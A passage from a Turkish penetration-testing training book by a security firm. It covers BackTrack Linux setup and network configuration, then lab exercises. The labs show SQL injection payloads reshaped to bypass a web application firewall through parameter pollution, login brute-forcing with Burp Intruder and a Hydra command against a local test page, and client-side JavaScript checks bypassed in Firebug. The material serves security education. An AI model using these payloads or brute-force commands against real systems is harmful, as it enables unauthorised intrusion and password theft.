21. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
4. Sanal işletim sistemine bir isim ve kurulum dizini tanımlanır. Kurulum dizini varsayılan
ayarlarla bırakılabilir.
5. Disk kapasitesi ön tanımlı olarak 20 GB gelmektedir. Çalışma süresince 20 GB ideal bir disk
alanıdır. İhtiyacınıza gore bu değeri arttırabilirsiniz.
22. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
6. Son adımda oluşturulacak VMware imajının ayarları özetlenmektedir. Kurulum
sihirbazında bizim belirlediğimiz değerler dışında, RAM varsayılan olarak 1024 MB, 1 CPU
ve ağ arabirimi NAT modunda tanımlanmaktadır. Kurulum tamamlanmadan ‘Customize
Hardware’ seçeneği ile sanal donanım bileşenlerinde değişiklikler yapılabilir.
Donanım özelliklerinize gore bu değerleri arttırabilirsiniz. Kurulum tamamlanmadan once
RAM 2 GB, 2 core CPU ve ağ arabirimi Bridge mod olarak tanımlanmıştır.
Bu aşamdan sonra VMware imajı başarıyla oluşturuldu. Kuruluma için ‘Play virtual
machine’ butonuna tıklayarak başlayabiliriz.
23. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Adım Adım Backtrack Kurulumu
Backtrack dağıtımı bir çok farklı çalışma prensibine sahiptir. Diske kurulum için birinci sırada
bulunan ‘Default Boot’ seçeneği ile devam edilir.
Sistem açılışında komut satırı ile karşılaşacaksınız. Bu aşamdan sonra grafik arabirime geçmek
için ‘startx’ komutu çalıştırılır.
Backtrack masaüstünde bulunan ‘Install BackTrack’ çift tıklanarak kurulum sihirbazı başlatılır.
1. İlk aşamada kurulum diliseçilir.Kurulum dilleri arasındaTürkçe’de bulunmaktadır fakat biz
İngilizce ile devam edeceğiz.
24. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Bölgesel dil ayarları, bulunduğunuz konuma uygun olarak seçebilirsiniz. Seçim için
haritayıda kullanabilirsiniz.
3. Bu adımda klavye dili ayarları tanımlanır.Seçenekler arasında Türkçe dil ayalarıda
bulunuyor. Seçim yaptıkdan sonra sol alt kutucuğu test için kullanabilirsiniz.
25. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
4. Disk seçimi
5. Son aşamada kurulum özetini gözden geçirip, herşey yolundayse ‘install’ seçeneği ile diske
kurulumu başlatabiliriz. Kurulum otomotik olarak tamamlanacaktır.
26. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Kurulum tamamlandıkdan sonra sistemi yeniden başlatınız.
Backtrack VMwareİmajıKullanımı
Yukarıdaki indirme sayfasından, Backtrack VMware Imajı indirilerek kolaylıkla kullanılabilir.
BT5R3-GNOME-VM-32.7z sıkıştırılmış bir dosyadır. 7zip veya winrar arşiv yöneticisi
programlarından biri aracılığı ile arşiv dosyası açılabilir.
VMware Player > Home > Open a Virtual Machine seçeneği ile BT5R3-GNOME-VM-32.vmx
dosyası seçilerek içeri aktarma işi tamamlanır.
27. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Bu işlemden sonra Backtrack VMware Player ortamına aktarılmış ve kullanıma hazırdır. ‘Play
Virtual Machine’ butonu ile işletim sistemi başlatılır.
Güncelleme
Backtrack linux dağıtımı ve hali hazırda kurulu gelen bir çok yazılım sürekli güncellenmekde ve
yeni yazılımlar eklenmektedir. Backtrack Linux dağıtımını ve kurulu uygulamaları sürekli güncel
tutmak ve yeni yazılımlarda pratiklik kazanmak en önemli gereksinimlerimizdendir.
Paket Deposunu Güncelleme
Backtrack Linux dağıtımı kendi depolarına sahiptir. Depoların listesine aşağıdaki komutla
ulaşabilirsiniz. - Bu yalnıca bilgi amaçlıdır, güncelleme ile doğrudan bir ilişkisi yoktur. –
# cat /etc/apt/sources.list
deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
#deb http://source.repository.backtrack-linux.org revolution main microverse non-free
testing
deb http://updates.repository.backtrack-linux.org revolution main microverse non-free
testing
28. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Depodaki güncellemeleri almak için aşağıdaki komut çalıştırılır.
# apt-get update
Uygulama Güncelleme
Tek bir uygulamayı yeni versiyonuna yükseltme veya yazılımın eksikliklerini gidermek için
yayımlanan güncellemeleri yüklemek için aşağıdaki komut kullanılır.
# apt-get upgrade <paket_adı>
29. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Örnek Uygulama Güncelleme
# apt-get upgrade nmap
Backtrack Linux Dağıtımını Güncelleme
Backtrack Linux dağıtımı her geçen yıl geliştirilmekte, yeni uygulamalar eklenip/çıkarılmakta,
yeni driverlar ve çeşitli linux güncellemeleri içermektedir.
Sahip olduğunuz Backtrack Linux dağıtımını yeni sürümünü yükseltmek için aşağıdaki komut
kullanılır.
# apt-get dist-upgrade
Backtrack Linux Dağıtımı Genel Ayarları
Hostname
Backtrack Linux dağıtımının makina adı ‘hostname’ komutu ile öğrenilebilir.
# hostname
Makina adı aşağıdaki şekilde değiştirilir
# hostname pentest
Password
Backtrack Linux işletim sisteminde bulunan bir kullanıcının parolasını değiştirmek için
aşağıdaki komut kullanılır.
# passwd kullanıcı_adı
30. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Backtrack Linux işletim sisteminde bulunan kullanıcı bilgileri hakkında
/etc/passwd
/etc/shadow
dosyalarında parola bilgisi dahil olmak üzere bilgi edinilebilir.
Klavye
Backtrack Linux işletim sisteminde bulunan klavye ayarları aşağıdaki komut ile anlık olarak
değiştirilebilir. değiştirilebilir.,
# setxkbmap tr
Bu değişiklik sadece oturum süreniz boyunca geçerli olacaktır. Backtrack yeniden
başlatıldığında ayarlar kaybolur.
Klavye ayarlarını kalıcı olarak değiştirmek için;
System > Preferences > Keyboard menüsü açılır.
Açılanmenünün sol baştan ikinci sekmesiolan ‘Layouts’sekmesinegeçiş yapılır. Bu pencerede
‘Add’ butonuna tıklanarak açılan yeni pencereden ‘Country: Turkey’ olarak seçilir ve ‘Add’
butonuna tıklanarak listeyeeklenir. ‘USA’ dile seçeneğineihtiyacınız yoksa bu seçimi‘Remove’
butonu ile kaldırabilirsiniz.
31. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Klavyenizi test etmek için pencerenin en altında bulunan ‘Type to test settings’ bölümünü
kullanabilirsiniz.
Ekran Çözünürlüğü
VMware aracılığı ile kullandığınız işletim sistemlerinde eğer vmtools kurulu değilse ekran
görüntü çözünürlüğünü değiştirmede sorunlar yaşarsınız. VMware aracılığıyla kullandığınız
işletim sistemlerine mutlaka vmtool kurmanızı öneririm.
Backtrack Linux dağıtımında ekran çözünürlüğünü değiştirmek için aşağıdaki menu yolunu
tıklayınız;
‘System > Preferences > Monitors’ penceresinden ‘Resolution’ sekmesi kullanılarak size
uygun çözünürlüğü ayarlayabilirsiniz.
Network Ayarları
Ağ ayarlarını diğer tüm sistemlerde olduğu gibi sabit olarak veya bulunduğunuz ortamda
otomotik IP dağıtan bir dhcp sunucu varsa dinamik olarak tanımlanabilir. Ağ ayarlarını
yapmadığınız durumda, dahil olduğunuz bir ağdaki diğer sistemlerle haberleşemezsiniz.
Dhcp ile IP Almak
Bulunduğunuz ortamdaki dhcp sunuculardan IP almak için, ‘dhclient’ komutunu
kullanabilirsiniz.
32. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Yukarıda görüldüğü gibi, bulunduğum ağdaki 6.6.6.1 sunucusu bana IP isteği için yanıt verdi ve
‘6.6.6.101’ IP adresini tahsis etti.
Sabit IP Ataması
Linux sistemlerde ağ ayarları ‘ifconfig’ komutu ve parametreleri ile yönetilir. Ağ ayarlarını
görüntülemek ve değişiklikler yapmak için ‘ifconfig’ komutu kullanılır.
Kullanılabilir ağ arabirimlerini görüntümek için ‘ifconfig –a’ yazmanız yeterli olacaktır.
Görüldüğü üzere ‘eth1’ ve ‘lo’ ağ arabirimlerine sahibiz. Farklı sistemlerde ‘eth1’ yerine ‘ethx’
olabilir. Bu aşamadan sonraki ayarları mevcut ağ arabiriminizin adını öğrenerek devam edin.
Örnek olarak, eth1 ağ arabirimine 1.1.1.100 ip adresini tanımlayacağım.
# ifconfig eth1 1.1.1.100
Bir ağ arabirimi ayarlarını görüntülemek için hatırlayacağınız üzere ifconfig komutu
kullanabiliriz.
33. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Gateway Tanımlama
Yalnızca IP adresi tanımlamak yerel ağdaki sistemlerle haberleşmek için yeterli. Fakat internete
çıkmak için varsayılan ağ geçici (Gateway) tanımlamamız gerekiyor.
Bu örnekde, eth1 ağ arabirimi üzerinden internete çıkmak istediğimde varsayılan ağ geçici
olarak 1.1.1.1 ip adresini tanımlayacağım. 1.1.1.1 ip adresi size internete bağlayacak
modem/firewall/router ip adresi olarak düşünebilirsiniz.
# route add default gw 1.1.1.1
Değişiklik başarıyla gerçekleştikden sonra, ayarları görüntülemek için ‘route –n’ komutunu
kullanabilirsiniz. Bu komut sizing routing tablonuzu görüntüleyecektir.
# route –n
Yukarıdaki resimde yer aldığı gibi, bilinmeyenlerin çıkış noktası (default gateway) 1.1.1.1
olarak tanımlanmıştır.
DNS Tanımlama
DNS kaydı isimçözme işlevini gerçekleştirecek IP adreslerini içermelidir.
Linux sistemlerde dns sunucuların bilgisi ‘/etc/resolv.conf’ dosyasında tutulur. Dosyas içeriği
‘cat’ komutu ile öğrenilebilir ve yazım formatı aşağıdaki gibidir
# cat /etc/resolv.conf
nameserver dns_sunucu_ip_adresi_1
nameserver dns_sunucu_ip_adresi_2
34. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Değişiklik için bu dosyanın düzenlenmesi gerekmektedir. Backtrack Linux işletim sisteminde
gedit,nano,vi vb. metin editörleri ile bu dosya düzenlenebilir. Görsellik ve kolay kullanıma
sahip olduğu için ‘gedit’ metin editörünü tercih edeceğiz.
Bu örnekte 8.8.8.8 ve 4.2.2.4 dns adresleri tanımlanmıştır.
# gedit /etc/resolv.conf
Static Route Kaydı Girme
Network Ayarlarının Test Edilmesi
Sabit IP ayarları, IP adresinin tanımlanması, Varsayılan Ağ Geçidi ve DNS Kaydı ile son buldu.
Ağ ayarlarını test etmek için aşağıdaki adımlar pratik olarak kullanılabilir.
Yerel ağdaki sistemlere erişimimiz var mı ?
Yerel ağdaki bir sistemping paketleri göndererek öğrenebiliriz.
# ping 1.1.1.1 -c 3
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=64 time=6.65 ms
64 bytes from 1.1.1.1: icmp_seq=2 ttl=64 time=2.16 ms
64 bytes from 1.1.1.1: icmp_seq=3 ttl=64 time=1.62 ms
--- 1.1.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.621/3.481/6.653/2.254 ms
Yukarıdaki gibi ping paketlerine yanıt alıyorsak, herşey başarılı yerel ağ ile iletişimimiz mevcut.
Eğer yanıt alamıyorsanız, hedef system ping paketlerine yanıt vermiyor olabilir veya ağ
bağlantınızda bir problem olabilir. Bu kontrolleri en baştan tekrar yapın.
İnternet erişimimiz var mı ?
Bu işlem için iki farklı yöntem kullanabiliriz.
1. İnternette ping paketlerine yanıt veren bir sisteme ping atmak.
# ping 8.8.8.8 -c 3
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
35. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
64 bytes from 8.8.8.8: icmp_seq=1 ttl=47 time=77.6 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=47 time=81.1 ms
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 2 received, 33% packet loss, time 2004ms
rtt min/avg/max/mdev = 77.661/79.408/81.155/1.747 ms
2. İnternette bulunan IP adresini bildiğiniz bir web sunucuya bağlantı kurarak.
DNS sunucu isim çözüyor mu ?
Bu işlem için ‘nslookup’ ve ‘dig’ araçları kullanılabilir.
# nslookup cehturkiye.com
# dig A google.com
36. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Ayrıca bir internet tarayıcısı ile (firefox gibi) internette bağlanabiliyorsanız da dns sunucunuz
çalışıyor demektir.
Network Ayarlarının Kalıcı Hale Getirilmesi
Yukarıda yaptığımız ayarlar işletim sistemi yeniden başlatıldığında kaybolacaktır. Backtrack
Linux dağıtımında network ayarları ‘/etc/network/interfaces’ dosyasında tutulmaktadır.
Ayarların kalıcı olabilmesi için aşağıdaki formata uygun olarak yazılmalıdır.
auto eth1
iface eth1 inet static
address 1.1.1.1
netmask 255.0.0.0
network 1.1.1.0
broadcast 1.1.1.255
gateway 1.1.1.1
Örnek uygulama
37. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Değişiklikler kaydedildikden sonra ağ ayarlarının her açılışta otomotik olarak çalışması için son
olarak aşağıdaki iki komutu çalıştırmanız yeterlidir.
# update-rc.d networking defaults
# /etc/init.d/networking restart
Kablosuz Ağ Ayaları
Backtrack Linux dağıtımını vmware aracılığı ile kullanıyorsanız fiziksel kablosuz ağ arabirimini
(wireless) tanımlayamazsınız. Sanallaştırma platformları (vmware,virtualbox vb.) bu kitap
yazılırken fiziksel kablosuz ağları sanal işletim sistemine yine kablosuz ağ arabirimi olarak
aktaramamaktadırlar.
Yalnızca USB Kablosuz ağ cihazlarını takıp kullanabilirsiniz. Aşağıdaki gibi bir usb kablosuz ağ
cihazı kablosuz ağlara bağlanmak için idealdir.
38. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Backtrack Linux dağıtımını, sanallaştırma platformu kullanmadan direkt diske kurup
kullanıyorsanız fiziksel makinanızın kablosuz ağ arabirimini görecektir.
USB cihazı fiziksel donanımınıza taktıkdan sonra vmware sanallaştırma platformunda çalışan
Backtrack Linux dağıtımına aktarmak için Player > Removable Devices > ‘USB Cihaz Adı’ >
Connect
Sanal işletim sistemine usb wireless cihaz aktarıldıkdan sonra komut satırından ‘iwconfig’
komutu ile kablosuz ağ arabirimi görüntülenebilir.
# iwconfig
39. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Resimde görüldüğü üzere, ‘wlan0’ olarak isimlendirilmiş. Farklı sistemlerde farklı numaralarla
isimlendirilebilir.
Backtrack Linux dağıtımında kablosuz ağları yönetmek için ‘Wicd Network Manager’ yazılımı
bulunmaktadır. Bu yazılım aracılığıyla kablosuz ağlar yönetilebilir.
‘Applications > Internet > Wicd Network Manager’ sekmesinden açılabilir.
40. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Programdan bir görünüm
Önemli Not: Eğer kablosuz ağ arabiriminizin adı wlan0 değilde farklı bir isimle (örneğin: wlan1
gibi) yer alıyorsa Wicd Network Manager > Preferences penceresinden ‘Wireless interface’
değerini değiştirmeniz gerekmektedir.
41. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Backtrack Temel Ayarları
Vmware Fusion/Player üzerinde kurulu backtrack işletimsistemimiz ile ilgilibazıtemel ayarlar:
Backtrack sisteme bridge modda IP adresi aldırmak;
Bu şekilde configre edilmiş sistemaçıldığında otomatik dhcp den IP almış olarak açılır. Tekrar
aldırılmak istenirse dhclient komutu kullanılabilir;
42. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
IP adresi,ağ maskesi(netmask) ve varsayılan ağ geçidi(default gateway) elle verilmek istenirse
aşağıdaki komutlar kullanılabilir;
43. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Yukarıda verilmiş bilgiler sistem yeniden başlatıldığında silinecektir.IP adresi,ağ
maskesi,varsayılan ağ geçidi kalıcı olarak sisteme verilmek istenirse /etc/network/interfaces
dosyası aşağıdaki gibi düzenlenmelidir.
44. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
İlgilideğişiklikleryapıldıktan sonra network servisleriyeniden başlatılmalıdır.Bunun içinkomut
satırından /etc/init.d/networking restart komutu verilebilir.
45. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Web Application Pentest Lab Uygulamaları
Uygulama No: BGA-WPT-01
Uygulama Adı: HTTP Parameter Pollution Kullanarak WAF Atlatma
Amaç: Hedef web uygulamasında tespit edilen ya da bulunduğu varsayılan bir zafiyetin
istismar edilmesini engelleyen, WAF(Web Application Firewall) cihazını, HPP(HTTP parameter
pollution) zafiyetini kullanarak atlatmak ve zafiyeti istismar edebilmek.
Lab senaryosu: HTTP parameter pollution açıklığı ile WAF tarafından korunan sistemin
atlatılması
Kullanılan Araçlar:
● Iceweasel 18
● PHP veya ASP.NET destekleyen bir web sunucusu
Adımlar:
1. Adım:
İlk olarak, istismar edilmek istenilen zafiyetin payloadının, WAF tarafından engellendiğinin
tespit edilmesi gerekmektedir. Örnek olarak “ index.php?pageID=15’ “ şeklinde çağrıldığında
sql hatası döndüren bir web uygulaması “index.php?pageID=15 union select user() --” istismar
koduna özel bir hata mesajı döndürür veya hiç tepki vermezse, arada yüksek ihtimalle WAF
görevi gören bir sistembulunuyor denilebilir.
2. Adım:
Sunucu tarafındaki web teknolojisinin, HTTP parametrelerini yorumlama şekline göre, istismar
kodunun payload bölümünü yeniden şekillendirerek WAF atlatılmaya çalışılır. Bu aşamada
aşağıdaki tablo faydalı olabilir.
46. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
tabloda da görüldüğü üzere, PHP sunucuları HTTP parametrelerini yorumlarken, aynı isimli
parametreler varsa, sadece sonuncuyu değerlendirmeye almaktadır. Hedef sistemdeki WAF’ın aynı
isimli parametrelerden ilkini değerlendirmeye aldığı bir durumda yeni istismar kodumuz şu şekilde
olacaktır: “ index.php?pageID=15&pageID=15 unionselect user()-- “.
BenzerşekildebirASP.NETuygulamasıiçin
“list.aspx?id=10’ union select null,null,user,pass from users--” şeklindeki bir sqli istismarını
“list.aspx?id=10’unionselect null&id=null&id=user&id=passfromusers--” olarakdeğiştirerekWAF’ı
atlatmak mümkün olabilir. Çünkü tabloda da görüldüğü üzere, asp.net ikinci URL’deki aynı isimli
parametreleri “,”(virgül)ile birleştirerekgeçerlibirsql sorgusuoluşmasınısağlayacaktır.
47. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-02
Uygulama Adı: HTML Form Tabanlı Kaba Kuvvet Saldırıları
Amaç: Hedef sistemdeki captcha kullanmayan giriş formuna, kaba kuvvet saldırısı yaparak
kullanıcı veya yönetici parolalalarını kırmak.
Lab senaryosu: Herhangi bir web teknolojisi ile hazırlanmış giriş formu kullanılabilir. Örnekte
“username” ve “pass” isimlerinde iki inputu ve “giris” isminde bir butonu olan, bir html form
ve doğru parola kontrolünü yapan bir php script’i ile hazırlanmış bir giriş sayfası kullanılmıştır.
Kullanılan Araçlar:
● Burp Suite Free 1.5
● Hydra 7.4.2
● FireBug 1.11.4
Adımlar:
Burp Suite ile kaba kuvvet saldırısı:
1. Adım:
Burp Suite uygulaması çalıştırılarak, web tarayıcısı proxy olarak 127.0.0.1:8080 kullanacak
şekilde ayarlanır. Tarayıcıdan, hedef giriş ekranının bulunduğu sayfaya bağlanılır. Örnek lab
ortamında bu “http://localhost/test.php” dir. Form doldurulup giriş butonuna basılır ve Burp
Suite’in Proxy sekmesinin Intercept alt sekmesinde sunucuya gönderilemeden kesilmiş olan
istek görülür. Burada sağ click işleminden sonra -> send to intruder” şeklinde istek Burp
Suite’in Intruder eklentisine gönderilir.
48. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım:
Intruder sekmesinde 1. adımda yakalanan isteğin POST verisine özel karakterler eklenmiş hali
görülür. “Clear §” ile bütün payload noktaları temizlenip, daha sonra sadece kullanıcı adı ve
parola alanları seçilip “Add §” ile işaretlenir. “Attack Type” alanı, “Cluster Bomb” olarak seçilir.
Bu sayede, kullanıcı adı ve parola alanları için ayrı listeler kullanılabilir. Eğer, saldırı tek bir
kullanıcı için gerçekleştirilecekse, bu alan Spider olarak seçilip, POST verisi üzerinde, sadece
parolaya ait alan § karakteri ile işaretlenir.
49. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
3. Adım:Payload sekmesinde payload set 1 için “simple list” seçilir ve payload ptions
bölümünden Load denilerek kullanıcı adlarının bulunduğu liste yüklenir.
Payload set 2 için yine simple list kullanılabileceği gibi, eldeki wordlist’lerin yetersiz kaldığı
durumlarda, diğer seçenekler de denenebilir.
4. Adım:
Üst menüden Intruder->Start attack tıklanarak saldırı başlatılır. Attack penceresinde; yapılan
istekler, dönen cevap, http kodu, boyutu ya da timeout süresi gibi değerler bulunur. Burada,
doğru şifre için dönen cevabın boyutunun farklı olmasından dolayı, doğru şifre rahatlıkla ayırt
edilebilir.
50. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
5. Adım
Hedefin, herhangi bir geçerli kullanıcı adı - parola eşleşmesi bulmak olduğu durumlarda,
Pitchfork saldırı türü daha kısa sürede sonuca götürebilir.
İlk örnekten farklı olarak, Intruder sekmesinin “Positions”altsekmesinde, “Attack type” olarak
“Pitchfork” seçilir. Payloads sekmesinde, Payload set 1 ve 2 için simple list seçilip, ikisine de
kullanıcı adlarını içerecek liste yüklenir. Daha sonra payload set 2 (parola alanına denk gelen)
için “Payload Processing” bölümünden, eldeki kullanıcı adlarından yaygın olarak kullanılan
şifreleri üretecek ayarlar yapılabilir. Örnek olarak, kullanıcı adlarını sonuna 123 ekleyip şifre
olarak denemek için “Add-> Add suffix -> 123” ayarı yapılır.
51. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Pitchfork saldırı tipinin özelliği, iki farklı payload kümesinin tüm kombinasyonlarını denemek
yerine, her iterasyonda bire bir eşleşme yapmasıdır. Anlatılan yöntemin örnek çıktı şu
şekildedir.
Hydra ile kaba kuvvet saldırısı
1. Adım:
İlk olarak, giriş formunda gönderilen isteğin hangi HTTP metodunu kullandığı (POST,GET),
kullanıcı adı ve parola parametrelerinin isimleri ve formun geçerli sayılması için başka zorunlu
parametreler varsabunların tespit edilmesigerekir. Bu aşamada, ya HTML formunun kodlarına
bakarak, bu bilgiler elde edilir ya da bir web proxy uygulaması ile isteğin hazır hali alınabilir.
Üçüncü ve pratik bir seçenek de firebug gibi bir tarayıcı eklentisi ile sunucuya giden isteğin
yakalanmasıdır. Hedef sayfa açılıp, Firebug eklentisi çalıştırılır. Firebug’ın Net sekmesine
gelinip, aktif değilse aktif edilir. Giriş formu doldurulup yollanır. “Firebug Net” penceresinde
yapılan istek görülür.
52. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Ayrıca, sayfanın hatalı girişlerde görünüp, başarılı girişlerde görünmeyen bir bölümü tespit
edilmedilir. Yanlış kullanıcı adı veya şifre mesajı ya da giriş formunun bir parçası, bu amaçla
seçilebilir.
2. Adım:
Hydra şu parametrelerle çalıştırılır.
hydra
-P password.txt (denenecek parolaların listesi, -p ile tek şifre de belirtilebilir.)
-l bga (denenecek kullanıcı adı, -L ile liste de belirtilebilir.)
-t 3 (çalışacak thread sayısı)
localhost (hedef adres)
http-form-post (kullanılacak modül, http(s)-form-get/post modülleri mevcut.)
"/test.php:username=^USER^&pass=^PASS^&giris=Giriş:Yanlış Şifre"
(hedef sayfa:kullanıcı adı parametresi=^USER^&parola parametresi=^PASS^&diğer
parametreler ve değerleri:Hatalı giriş mesajı)
-v (detayları göster)
-V (denemeleri göster)
Örn:
hydra -P passwords.txt -l bga -t 3 localhost http-form-post
"/test.php:username=^USER^&pass=^PASS^&giris=Giriş:Yanlış Şifre" -v -V
53. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-WPT-03
Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - Java Script
Amaç: Hedef web uygulamasında, istemci tarafında javascript ile geliştirilmiş güvenilk
önlemlerini aşarak, sunucuya istekleri bu önlemlerden etkilenmeden göndermek.
Lab senaryosu: Javascript ile kullanıcı adını kontrol edip, özel karakterler varsa, formun
gönderilmesine izin vermeyen bir giriş ekranı ve form gönderildiğinde kullanıcı adı ve şifreyi
ekrana basan sunucu taraflı bir betik.
Kullanılan Araçlar:
● Firebug 1.11.4
● Burp Suite Free 1.5
Adımlar:
Firebug Kullanarak Çalışma Anında Scripti Manipüle Etme Yöntemi
1. Adım:
Hedef sayfaya, Firebug(veya benzeri bir araç) kurulu bir tarayıcıdan bağlanılır. Örnek
uygulamada, giriş ekranında, kullanıcı adı bölümüne, “sqli denemesi” yapılmak istenildiğinde
“geçersiz kullanıcı adı” hatasıyla karşılaşılır.
54. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Kullanıcı adı kutusuna, sağ tıklayıp “Inspect Element with Firebug” tıklanarak, kontrolü yapan
js fonksiyonu tespit edilir(örnekte “validateUserName”).
Firebug’ın “Scripts” sekmesinde ilgili fonksiyon bulunur. Fonksiyonun ilk satırına, kesme
noktası(breakpoint) konulur ve tekrar “Giriş” butonuna basılır. Bu sefer hata mesajına
gelmeden, tarayıcı kesme noktasında duracaktır.
55. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım:
Fonksiyon incelendiğinde, formun gönderilmesi için önemli olanın, geriye döndürdüğü
“retval” isimli değişkenin değerinin, “true” ya da “false” olmasıdır. Fonksiyon “return retval”
satırına kadar çalıştırılıp, bu satır çalıştırılmadan once, Firebug’da sağ taraftan “retval”
